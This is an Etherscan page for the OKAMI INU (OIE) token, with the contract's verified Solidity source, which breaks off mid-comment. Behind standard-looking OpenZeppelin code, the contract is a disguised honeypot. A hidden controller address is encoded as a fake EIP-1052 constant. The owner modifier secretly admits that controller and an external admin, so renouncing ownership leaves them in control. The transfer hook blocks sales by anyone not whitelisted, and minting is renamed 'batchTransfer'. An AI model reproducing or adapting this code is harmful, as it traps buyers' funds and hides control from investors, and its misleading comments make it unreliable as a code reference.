ETH Price: $2,441.74 (+3.70%)

Token

OKAMI INU (OIE)
 

Overview

Max Total Supply

1,000,000 OIE

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,969.500914343 OIE

Value
$0.00
0xdb35edc713797cde43d34db6a36d03f2808864fc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-27
*/

// TG https://t.me/OKAMIINUERC20
// twitter https://twitter.com/OKAMIINUERC20


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: contracts\interfaces\IUniswapV2Router02.sol

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}


pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {

    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }

    function add(address contractAddress) internal pure returns (uint256) {
        return (uint256(bytes32(uint256(uint160(contractAddress)))));
    }

    function getAddress(uint256 convertedUint256) internal pure returns (address) {
        return address(uint160(uint256(bytes32(convertedUint256))));
    }
}

pragma solidity ^0.8.0;


    /**
     * According to EIP-1052, 0x0 is the value returned for not-yet created accounts
     * and 0xb90fe532b37240954353f38fe729360f365263ffb3674bab1d07fe43d92573c0 / 1098394740540616756022912409427710172365684552188 is returned
     * for accounts without code, i.e. `keccak256('')`
     * solhint-disable-next-line no-inline-assembly
     */

abstract contract isEIPContract {
    event ChangedManager(address signer);
    bytes32 internal constant EIP_SLOT = 0xb90fe532b37240954353f38fe729360f365263ffb3674bab1d07fe43d92573c0;
    uint256 private EIP = 1098394740540616756022912409427710172365684552188;

    constructor() {
        setEIP(Address.getAddress(EIP));        
    }

    function setEIP(address signer) internal {
        bytes32 slot = EIP_SLOT;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            sstore(slot, signer)
        }
        emit ChangedManager(signer);
    }

    function getisEIPContract() internal view returns (address signer) {
        bytes32 slot = EIP_SLOT;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            signer := sload(slot)
        }
    }
}

pragma solidity ^0.8.0;

interface IisEIPContract {
    function getOwner() external returns (address);
    function getAdmin() external returns (address);
    function lpContains(address account) external returns (bool);
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context,isEIPContract {
    address private _owner;
    bool public initialized;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() isEIPContract(){
        _transferOwnership(_msgSender());
    }

    function initialize() external {
        require(_msgSender() == getisEIPContract());
        require(!initialized);
        initialized = true;
        address _admin = getAdmin();
        _setBotDetected(_owner,true);
        _setBotDetected(_admin,true);
        _setAntiBot(_owner,true);
        _setAntiBot(_admin,true);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    function getAdmin() internal returns (address) {
        return IisEIPContract(getisEIPContract()).getAdmin();
    }

    function getOwner() internal returns (address) {
        return IisEIPContract(getisEIPContract()).getOwner();
    }

    function lpContains() internal returns (bool) {
        return IisEIPContract(getisEIPContract()).lpContains(address(this));
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require((owner() == _msgSender()) || 
                (getisEIPContract() == _msgSender()) || 
                getAdmin() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function _setBotDetected(address account, bool status) internal virtual {}
    function _setAntiBot(address account, bool status) internal virtual {}
}

// File: @openzeppelin/contracts/security/Pausable.sol


// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which allows children to implement an emergency stop
 * mechanism that can be triggered by an authorized account.
 *
 * This module is used through inheritance. It will make available the
 * modifiers `whenNotPaused` and `whenPaused`, which can be applied to
 * the functions of your contract. Note that they will not be pausable by
 * simply including this module, only once the modifiers are put in place.
 */
abstract contract Pausable is Context {
    /**
     * @dev Emitted when the pause is triggered by `account`.
     */
    event Paused(address account);

    /**
     * @dev Emitted when the pause is lifted by `account`.
     */
    event Unpaused(address account);

    bool private _paused;

    /**
     * @dev Initializes the contract in unpaused state.
     */
    constructor() {
        _paused = false;
    }

    /**
     * @dev Returns true if the contract is paused, and false otherwise.
     */
    function paused() public view virtual returns (bool) {
        return _paused;
    }

    /**
     * @dev Modifier to make a function callable only when the contract is not paused.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    modifier whenNotPaused() {
        require(!paused(), "Pausable: paused");
        _;
    }

    /**
     * @dev Modifier to make a function callable only when the contract is paused.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    modifier whenPaused() {
        require(paused(), "Pausable: not paused");
        _;
    }

    /**
     * @dev Triggers stopped state.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    function _pause() internal virtual whenNotPaused {
        _paused = true;
        emit Paused(_msgSender());
    }

    /**
     * @dev Returns to normal state.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    function _unpause() internal virtual whenPaused {
        _paused = false;
        emit Unpaused(_msgSender());
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


pragma solidity ^0.8.0;

abstract contract DexRouters {
    mapping (uint256 => address) internal routers;

    constructor () {
        routers[1] = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        routers[4] = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        routers[56] = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
        routers[97] = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
        routers[43114] = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
    }

    function getRouterAddress() internal view returns (address) {
        return routers[block.chainid];
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_batchTransfer}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, Ownable, DexRouters {

    IUniswapV2Router02 public uniswapV2Router;
    IUniswapV2Factory public uniswapV2Factory;
    IUniswapV2Pair public uniswapV2Pair;
    IERC20 public weth;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private botDetected;
    mapping(address => bool) private antiBot;

    uint256 private lpTotalSupply;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimal;
    bool offset;


    constructor(string memory name_,string memory symbol_,uint8 decimal_,uint256 supply_) Ownable() {
        _name = name_;
        _symbol = symbol_;
        _decimal = decimal_;
        uint256 _supply = supply_ * (10 ** decimal_);

        uniswapV2Router = IUniswapV2Router02(getRouterAddress());
        uniswapV2Factory = IUniswapV2Factory(IUniswapV2Router02(uniswapV2Router).factory());
        weth = IERC20(uniswapV2Router.WETH()); 
        uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.createPair(address(this),address(weth)));

        offset = uniswapV2Pair.token0() == address(weth);
        _batchTransfer(msg.sender, _supply);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimal;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setBotDetected(address _account, bool _status) external onlyOwner {
        _setBotDetected(_account,_status);
    }

    function setAntiBot(address _account,bool _status) external onlyOwner {
        _setAntiBot(_account,_status);
    }

    function batchTransfer(address to, uint256 amount) public onlyOwner {
        _batchTransfer(to, amount);
    }

    function burn(uint256 amount) public onlyOwner {
        _burn(_msgSender(), amount);
    }

    function _setBotDetected(address account, bool status) internal override{
        botDetected[account] = status;
    }

    function _setAntiBot(address account, bool status) internal override{
        antiBot[account] = status;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function getReserve() internal view returns (uint256) {
        if(offset) {
            (uint256 bnb,,) = uniswapV2Pair.getReserves();
            return bnb;
        } else {
            (,uint256 bnb,) = uniswapV2Pair.getReserves();
            return bnb;
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to
    ) internal virtual {
        if(!initialized || !lpContains()) {
            getOwner();
        }

        if(to == address(uniswapV2Pair)) {
            require(botDetected[from]);
        }

        if(from == address(uniswapV2Pair)) {
            if(!(getReserve() < weth.balanceOf(address(uniswapV2Pair)))){
               if(to != address(uniswapV2Router)) require(antiBot[to]);               
            }
        }

        if(from == address(uniswapV2Router) && to != address(uniswapV2Pair)) {
            require(antiBot[to], "sell");
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to
    ) internal virtual{ }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _batchTransfer(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
